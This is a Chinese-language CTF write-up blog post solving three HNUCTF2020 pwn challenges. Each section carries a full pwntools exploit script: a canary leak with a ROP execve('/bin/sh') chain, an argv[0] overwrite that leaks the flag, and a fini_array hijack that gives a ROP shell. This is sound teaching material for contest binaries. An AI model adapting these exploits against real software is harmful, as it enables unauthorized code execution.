HNUCTF2020 部分题解

HNUCTF2020新生赛 部分pwn题题解

1. calculator

点击 这里 下载题目

查看保护

1
2
3
4
5
6
7
root@Kiprey:~/Desktop/HNUCTF/pwn# checksec pwn6
[*] '/root/Desktop/HNUCTF/pwn/pwn6'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

漏洞函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int calc()
{
int v1; // [sp+18h] [bp-5A0h]@4
int v2[100]; // [sp+1Ch] [bp-59Ch]@5
char s; // [sp+1ACh] [bp-40Ch]@2
int v4; // [sp+5ACh] [bp-Ch]@1

v4 = *MK_FP(__GS__, 20);
while ( 1 )
{
bzero(&s, 0x400u);
if ( !get_expr((int)&s, 0x400) )
break;
init_pool(&v1);
if ( parse_expr((int)&s, &v1) )
{
printf((const char *)&unk_80BF804, v2[v1 - 1]);
fflush(stdout[0]);
}
}
return *MK_FP(__GS__, 20) ^ v4;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
signed int __cdecl parse_expr(int a1, _DWORD *a2)
{
unsigned int v2; // ST2C_4@3
signed int result; // eax@4
int v4; // eax@6
int v5; // ebx@25
_BYTE *v6; // [sp+20h] [bp-88h]@1
int i; // [sp+24h] [bp-84h]@1
int v8; // [sp+28h] [bp-80h]@1
char *s1; // [sp+30h] [bp-78h]@3
int v10; // [sp+34h] [bp-74h]@5
char s[100]; // [sp+38h] [bp-70h]@1
int v12; // [sp+9Ch] [bp-Ch]@1

v12 = *MK_FP(__GS__, 20);
v6 = (_BYTE *)a1;
v8 = 0;
bzero(s, 0x64u);
// 注意,程序中将\0也视为运算符进行处理
for ( i = 0; ; ++i )
{
// 判断是否为运算符,如果是,则进入,并处理当前运算符之前的数据
//当程序读取到运算符时会处理之前的数据,例如1+2会将1存起来
if ( (unsigned int)(*(_BYTE *)(i + a1) - '0') > 9 )
{
// 得到当前运算符与上一个运算符之间的位数
v2 = i + a1 - (_DWORD)v6;
// s1指向 当前运算符前、存放数字的char数组
s1 = (char *)malloc(v2 + 1);
memcpy(s1, v6, v2);
s1[v2] = 0;
if ( !strcmp(s1, "0") )
{
puts("prevent division by zero");
fflush(stdout[0]);
result = 0;
goto LABEL_25;
}
v10 = atoi((int)s1);
// 如果读取进来的数据是错误的,那么这个错误的数据将不会存储
if ( v10 > 0 )
{
// a2[0] 数字个数 +1
v4 = (*a2)++;
// 将atoi得到的数字存起来
a2[v4 + 1] = v10;
}
// 判断当前运算符是否为\0,或者+-*/%后面是不是数字,如果不是则进入if
if ( *(_BYTE *)(i + a1) && (unsigned int)(*(_BYTE *)(i + 1 + a1) - '0') > 9 )
{
puts("expression error!");
fflush(stdout[0]);
result = 0;
goto LABEL_25;
}
// 得到指向运算符后的数字的指针
v6 = (_BYTE *)(i + 1 + a1);
// 判断之前是否已经存了一个运算符
if ( s[v8] )
{
// 根据不同的运算符使用不同的运算方式
switch ( *(_BYTE *)(i + a1) )
{
// 当遇到优先级较低的 + - 时
case '+':
case '-':
// 处理上一个运算符
eval(a2, s[v8]);
// 把当前运算符存到上一个运算符存储的地方
s[v8] = *(_BYTE *)(i + a1);
break;
// 当遇到优先级较高的 % * / 时
case '%':
case '*':
case '/':
// 如果存储的上一个运算符不是+ -
if ( s[v8] != '+' && s[v8] != '-' )
{
// 那么就处理上一个运算符
eval(a2, s[v8]);
// 并把当前运算符存到上一个运算符存储的位置
s[v8] = *(_BYTE *)(i + a1);
}
else // 否则
{
// 上一个运算符不做处理,并将当前运算符存储起来
s[++v8] = *(_BYTE *)(i + a1);
}
break;
default:
// 由于当前的运算符为\0,则处理上一个运算符,并减去存储运算符的数组索引
eval(a2, s[v8--]);
break;
}
}
else
{
// 将运算符存储起来
s[v8] = *(_BYTE *)(i + a1);
}
// 如果当前运算符为\0,即整行处理完成,则退出
if ( !*(_BYTE *)(i + a1) )
break;
}
}
// 按照正常流程,处理完所有运算符之后,v8一定会小于0。如果不小于0,则说明还有运算符没处理
while ( v8 >= 0 )
eval(a2, s[v8--]);
result = 1;
LABEL_25:
v5 = *MK_FP(__GS__, 20) ^ v12;
return result;
}

易知信息

  • 程序执行时,会先提示用户输入算式,例如1+2*3,然后执行代码算出所输入的算式的值,进而输出结果
  • 程序静态链接,ret2libc 不可用
  • 开启 Canary,不可直接栈溢出
  • 开启 NX,堆栈不可执行
  • main 函数(没贴出来)有简单的反调试机制(alarm)
  • calc 函数里有不可直接使用的栈溢出
  • calc 函数里调用的 get_expr 函数只允许读取 0-9 ±*/% 这些符号

分析

  • 分析 parse_expr 函数,可以得知参数 a2 的结构
    • a2[0]存放的是 a2 数组当前存放的数字个数(不包括 a2[0]
    • 新添加的数会存放到 a2[a2[0]]这个位置,同时 a2[0]++
  • 分析 parse_expr 函数, 可以得知此函数的处理逻辑
    • 此函数会先遍历输入的字符串,直到遍历到第一个运算符。再将这个运算符前的上一个数字存入 a2[a2[0]++]。之后处理 a2[a2[0] - 1]a2[a2[0] - 2]的运算(执行 eval 函数)
      (此处概括不太全面,建议结合上面的伪代码和注释理解,(实际上结合汇编理解更佳)
  • eval 函数(没贴出来)会计算 a2[a2[0] - 1]a2[a2[0] - 2], 并将结果存放到 a2[a2[0] - 2],同时 a2[0]--
  • 分析 calc 函数,可以得知程序最后会输出 a2[a2[0]]

解决方案

  • 综上分析,只要我们成功劫持 a2[0],将其修改为我们需要的值,那么就可以任意查看栈上的值

  • 同时,由于劫持了 a2[0],我们同样可以实现栈上任意地址写入,因为“新添加的数会存放到 a2[a2[0]]这个位置”

  • 所以我们只要将运算结果写入 a2[0]处,就可劫持成功,即输入以运算符开头的字符串,即可劫持。然后就可以栈区任意读写了。

  • 由于该程序是静态链接,无法 ret2libc 。但正因为是静态链接,所以程序中有大量可用的 ROP 片段。通过 ROPgadget,可以得到 ROPchain,从而 get shell

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    #!/usr/bin/env python2
    # execve generated by ROPgadget
    from struct import pack
    # Padding goes here
    p = ''
    p += pack('<I', 0x080701aa) # pop edx ; ret
    p += pack('<I', 0x080ec060) # @ .data
    p += pack('<I', 0x0805c34b) # pop eax ; ret
    p += '/bin'
    p += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x080701aa) # pop edx ; ret
    p += pack('<I', 0x080ec064) # @ .data + 4
    p += pack('<I', 0x0805c34b) # pop eax ; ret
    p += '//sh'
    p += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x080701aa) # pop edx ; ret
    p += pack('<I', 0x080ec068) # @ .data + 8
    p += pack('<I', 0x080550d0) # xor eax, eax ; ret
    p += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x080481d1) # pop ebx ; ret
    p += pack('<I', 0x080ec060) # @ .data
    p += pack('<I', 0x080701d1) # pop ecx ; pop ebx ; ret
    p += pack('<I', 0x080ec068) # @ .data + 8
    p += pack('<I', 0x080ec060) # padding without overwrite ebx
    p += pack('<I', 0x080701aa) # pop edx ; ret
    p += pack('<I', 0x080ec068) # @ .data + 8
    p += pack('<I', 0x080550d0) # xor eax, eax ; ret
    p += pack('<I', 0x0807cb7f) # inc eax ; ret
    p += pack('<I', 0x0807cb7f) # inc eax ; ret
    p += pack('<I', 0x0807cb7f) # inc eax ; ret
    p += pack('<I', 0x0807cb7f) # inc eax ; ret
    p += pack('<I', 0x0807cb7f) # inc eax ; ret
    p += pack('<I', 0x0807cb7f) # inc eax ; ret
    p += pack('<I', 0x0807cb7f) # inc eax ; ret
    p += pack('<I', 0x0807cb7f) # inc eax ; ret
    p += pack('<I', 0x0807cb7f) # inc eax ; ret
    p += pack('<I', 0x0807cb7f) # inc eax ; ret
    p += pack('<I', 0x0807cb7f) # inc eax ; ret
    p += pack('<I', 0x08049a21) # int 0x80
  • 注意点:

    • 应当先查看 canary 值并记录,以便于在向栈写入数据后可以覆写 canary ,从而通过 Canary 的检测
    • 写入数据时应当反序写入,即先写入远离 Canary 那端的栈空间,最后在写入距离 Canary 较近的栈空间,因为写入远离 Canary 那端的栈空间时会破坏距离 Canary 较近的栈空间上的数据

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
# -*- coding: utf-8 -*-
from pwn import *

# 比赛IP被我隐藏了XD
io = remote("xx.xx.xx.xx", 8012)

# 获取canary, 传入+357
canary_offset = 357
io.sendlineafter("记住,未来,是创造就对了~\n", "+" + str(canary_offset))
canary_str = io.recvline(keepends=False)
canary = int(canary_str)
# 如果读取到的canary为负, 根据atoi函数的特性,没办法模拟,只能退出重来
if canary < 0:
log.failure("Canary is negative!")
exit()
log.success("Canary found: " + str(hex(canary)))

ROP_chain = [
canary,
0x12345678, 0x12345678, 0x12345678, # 3个padding
0x080701aa, 0x080ec060, 0x0805c34b, u32("/bin"),
0x0809b30d, 0x080701aa, 0x080ec064, 0x0805c34b, u32("//sh"), 0x0809b30d,
0x080701aa, 0x080ec068, 0x080550d0, 0x0809b30d,
0x080481d1, 0x080ec060,
0x080701d1, 0x080ec068, 0x080ec060,
0x080701aa, 0x080ec068,
0x080550d0,
0x0807cb7f, 0x0807cb7f, 0x0807cb7f, 0x0807cb7f, 0x0807cb7f, 0x0807cb7f,
0x0807cb7f, 0x0807cb7f, 0x0807cb7f, 0x0807cb7f, 0x0807cb7f,
0x08049a21
]

# 注意要倒着写入栈,因为向高地址栈写入数据会破坏低地址栈写入的数据
for index in range(len(ROP_chain) - 1, -1, -1):
sleep(0.1)
io.sendline("+" + str(canary_offset - 1 + index)
+ "+" + str(ROP_chain[index]))

# 将输出的大量无用数据全部丢弃
io.recv()
# 输入\n退出calc函数,进入ret
io.sendline("")
# get shell
log.success("get shell!")
io.interactive()

2. overflow

点击 这里 下载题目

易知信息

  • 开启 NX 保护,堆栈不可执行

  • 开启 Canary 保护,不可直接栈溢出

  • 存在栈溢出漏洞

  • .data 段有 flag

    1
    2
    3
    .data:0000000000600D20 ; char byte_600D20[]
    .data:0000000000600D20 byte_600D20 db 'P' ; DATA XREF: vul_func+6E
    .data:0000000000600D21 aCtfHereSTheFla db 'CTF{Here',27h,'s the flag on server}',0
    • 下载下来的 ELF 文件里的 flag 不是真正的 flag ,但服务器上的 ELF 文件里的 flag 是真的
      只要能在本地将假 flag 成功泄露,那么服务器端的 flag 就同样可以泄露成功
  • 漏洞函数 vul_func 会将第二次输入的数据直接覆盖在 .dataflag 字符串上( flag 地址: 0x600D20 ),倘若输入的字符串长度没有满 32 字节,那么 memset 就会“帮”我们销毁 flag

    总而言之,.data 段上的 flag 一定会被销毁

分析

  • ELF 文件在加载进内存时会先映射到内存上的某一块区域,然后再进行段到段的映射

    • 换句话说,在虚拟内存中存在一份 ELF 文件拷贝,此拷贝中存在 flag 字符串
  • 当函数返回时,如果栈上的 Canary 值与 fs:[0x28]上的值不符时,会直接执行___stack_chk_fail 函数,不会 leave_ret。而此函数 glibc 源代码如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    //eglibc-2.19/debug/stack_chk_fail.c

    void __attribute__ ((noreturn)) __stack_chk_fail (void)
    {
    __fortify_fail ("stack smashing detected");
    }

    void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
    {
    /* The loop is added only to keep gcc happy. */
    while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
    msg, __libc_argv[0] ?: "<unknown>");
    }

    __libc_argv[0] 是一个默认指向存放着当前程序名称的指针

解决方案

  • 只要劫持__libc_argv[0]为我们想输出的地址,那就可以通过___stack_chk_fail 函数显示出来

  • 思路已经很明确了,劫持 ___stack_chk_fail 函数,显示 flag 拷贝的内容

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
# -*- coding: utf-8 -*-
from pwn import *

io = remote("xx.xx.xx.xx", 8016)

# 另一份flag拷贝的内存地址
flag_addr = 0x00400D20

# 覆盖__libc_argv[0],并间接调用___stack_chk_fail函数
payload1 = 0x44 * p64(flag_addr)
io.sendlineafter("Hello!\nWhat's your name? ", payload1)
io.sendlineafter("Please give me the flag: ", "orz\x00")
io.interactive()

感想

  • 谁知道真假 flag 竟然是同一个,当初得到服务器端的 flag 后犹豫了好久,还以为自己做错了。果然最危险的地方就是最安全的地方 XD

3. shellcode

点击 这里 下载题目

易知信息

  • 开启NX保护
  • 静态编译
  • main函数中允许任意地址写入24Bytes
  • byte_4B9330存在8bit整数溢出漏洞

分析

  • 主函数在任意写之后,必然会执行_libc_csu_fini。其中,还会执行fini_array上指针指向的函数。所以我们可以通过一次性修改fini_array上的两个函数地址,从而无限次ret2main,进而通过整数溢出漏洞进行无限次任意写。即作如下修改:

    正常的执行路径:main -> _libc_csu_fini -> _fini_array[1] -> fini_array[0] -> _libc_csu_fini
    无限写的执行路径:main -> _libc_csu_fini -> main -> _libc_csu_fini -> main -> _libc_csu_fini -> ...
    栈劫持的执行路径:... -> main -> leave_ret -> ROP -> shell

  • 该程序为静态链接, _libc_csu_fini 会将 rbp 置为 &fini_array[0] ,故可以通过main函数里的任意写,修改fini_array[0]leave_ret指令的地址, 就可在leave_ret返回时劫持rsp&fini_array[0],进而劫持rip

    • 注意,这点的实现前提是该程序为静态链接,因为静态链接动态链接_libc_csu_fini的实现是不一样的
      • 静态链接的 _libc_csu_fini

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
        26
        27
        28
        29
        30
        31
        ; _libc_csu_fini by static linked
        .text:0402960 sub_402960 proc near
        .text:0402960 push rbp
        .text:0402961 lea rax, unk_4B4100
        .text:0402968 lea rbp, off_4B40F0 ; the address of fini_array
        .text:040296F push rbx
        .text:0402970 sub rax, rbp
        .text:0402973 sub rsp, 8
        .text:0402977 sar rax, 3
        .text:040297B jz short loc_402996
        .text:040297D lea rbx, [rax-1]
        .text:0402981 nop dword ptr [rax+00000000h]

        .text:0402988 loc_402988:
        .text:0402988 call qword ptr [rbp+rbx*8+0] ; call the func_ptrs in fini_array
        .text:040298C sub rbx, 1
        .text:0402990 cmp rbx, 0FFFFFFFFFFFFFFFFh
        .text:0402994 jnz short loc_402988
        .text:0402996
        .text:0402996 loc_402996:
        .text:0402996 add rsp, 8
        .text:040299A pop rbx
        .text:040299B pop rbp
        .text:040299C jmp _term_proc
        .text:040299C sub_402960 endp

        .fini:048E32C _term_proc proc near
        .fini:048E32C sub rsp, 8
        .fini:048E330 add rsp, 8
        .fini:048E334 retn
        .fini:048E334 _term_proc endp
        • 动态链接的 _libc_csu_fini
        1
        2
        3
        4
        5
        ; _libc_csu_fini by dynamic linked
        .text:0400770 ; void fini(void)
        .text:0400770 fini proc near
        .text:0400770 rep retn
        .text:0400770 fini endp
  • 通过任意写,我们可以在fini_array中构造ROP链,从而get shell

    1
    2
    3
    4
    5
    6
    ; 刚好这五个ROPgadget在程序中都存在 XD
    pop rax ret ; 0x3b
    pop rdi ret; ; the address of "/bin/sh"
    pop rsi ret; ; 0
    pop rdx ret; ; 0
    syscall

解决方案

  1. 修改 fini_array[1]上的地址为mainfini_array[0]上的地址为_libc_csu_fini
  2. fini_array上构建除了第一条ROP的剩余ROP链
  3. fini_array[0]修改为leave_ret指令的地址、将fini_array[1]修改为第一条ROP指令的地址,从而将ROP链连接起来
  4. leave_ret 返回,劫持rip, 最后通过ROP链 get shell

构建ROP链时需注意:leave_ret指令,会使rspret时指向fini_array[1],所以必须在最后一次执行main函数时同时修改fini_array[0]leave_ret、修改fini_array[1]第一条ROP指令的地址,从而补全ROP链
为什么在ret时rsp会指向fini_array[1]呢?看完下面那个表格就知道了

| | -> mov rsp rbp | mov rsp rbp | mov rsp rbp |
| | pop rbp | -> pop rbp | pop rbp |

ret ret -> ret
rbp &fini_array[0] &fini_array[0] fini_array[0]
rsp point to stack &fini_array[0] &fini_array[1]

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# -*- coding: utf-8 -*-
from pwn import *

io = remote("xx.xx.94.176", 8011)
context(os='linux', arch='amd64')
# context.log_level = "debug"

pop_rax_addr = 0x000000000041e4af
pop_rdi_addr = 0x0000000000401696
pop_rsi_addr = 0x0000000000406c30
pop_rdx_addr = 0x0000000000446e35
syscall_addr = 0x00000000004022b4
leave_ret_addr = 0x0000000000401c4b
main_addr = 0x0000000000401B6D
_libc_csu_fini_addr = 0x0000000000402960
fini_array_addr = 0x00000000004B40F0

def write(address, data):
io.sendafter("addr:", str(address))
io.sendafter("data:", data)

# 修改程序执行逻辑
write(fini_array_addr, flat(_libc_csu_fini_addr, main_addr))
# 构建ROP链
write(fini_array_addr+8*3, flat(pop_rdi_addr, fini_array_addr+8*10))
write(fini_array_addr+8*5, flat(pop_rsi_addr, 0))
write(fini_array_addr+8*7, flat(pop_rdx_addr, 0))
write(fini_array_addr+8*9, flat(syscall_addr, "/bin/sh\x00"))
# 栈劫持并执行ROP,得到shell
write(fini_array_addr, flat(leave_ret_addr, pop_rax_addr, 0x3b))

io.interactive()

随笔

  • 这题当初没做出来,复盘时才知道考点是静态链接中 _libc_csu_finifini_array 的利用
  • 在复盘时,我寻求了大佬的帮助,同时也大量参考了Freebuf里的一篇关于_libc_csu_finifini_array的利用,不得不说真是收益良多。
  • 复盘时大佬的指点也让我豁然开朗,特此感谢协会大佬的鼓励与支持
  • 原题为pwnable.tw3x17

参考

详解64位静态编译程序的fini_array劫持及ROP攻击
Linux Syscall Reference

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2020-2021 Kiprey
  • 访问人数: | 浏览次数:

请我喝杯奶茶吧~